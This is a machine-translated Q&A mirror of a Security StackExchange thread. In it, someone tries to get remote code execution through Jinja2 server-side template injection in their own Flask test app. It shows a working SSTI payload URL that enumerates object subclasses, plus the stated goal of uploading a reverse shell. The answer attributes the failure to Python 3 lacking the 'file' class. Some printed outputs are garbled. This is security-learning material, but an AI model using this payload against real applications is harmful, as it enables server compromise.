首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >烧瓶/Jinja2 2 SSTI获得RCE。<type‘>文件不在对象子类中

烧瓶/Jinja2 2 SSTI获得RCE。<type‘>文件不在对象子类中
EN

Security用户
提问于 2019-04-24 16:26:13
回答 1查看 1.9K关注 0票数 2

我试图在我开发的一个简单的Flask web应用程序中获得RCE,它容易受到服务器端模板注入(SSTI)的影响。

RCE通常是通过在目标上上传反向shell脚本来获得的,由于有了file引用,所以可以使用object.__subclasses__()方法进行访问。

有效载荷的URL

代码语言:javascript
复制
http://0.0.0.0:5000/%7B%7B''.__class__.__mro__[1].__subclasses__()%7D%7D

<#>分解

代码语言:javascript
复制
{{''.__class__}}  => 
{{''.__class__.__mro__}}  => (, )
{{''.__class__.__mro__[1]}}  => 
{{''.__class__.__mro__[1].__subclasses__()}}  => [, , , , ...

Response页面

代码语言:javascript
复制
Oops! That page doesn't exist.
http://0.0.0.0:5000/[, , , , , , , ...

不幸的是,在我得到的输出中,没有任何file引用,所以我无法上传反向shell。

我遗漏了什么?

EN

回答 1

Security用户

发布于 2019-04-25 16:01:58

经过进一步的研究,我想我知道了原因。在我最初的文章中,似乎最新版本的Python不容易受到简要解释的度量的影响。

我作为目标使用的Flask应用程序确实在一个Docker容器中运行,安装了最新版本的Python。

检查它的一个简单方法是:

Python 2.7.10

代码语言:javascript
复制
>>> object.__subclasses__()
[, ,..., , ...]

Python 3.7.1

代码语言:javascript
复制
>>> object.__subclasses__()
[, , ... ] # no  or 
票数 1
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/208957

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档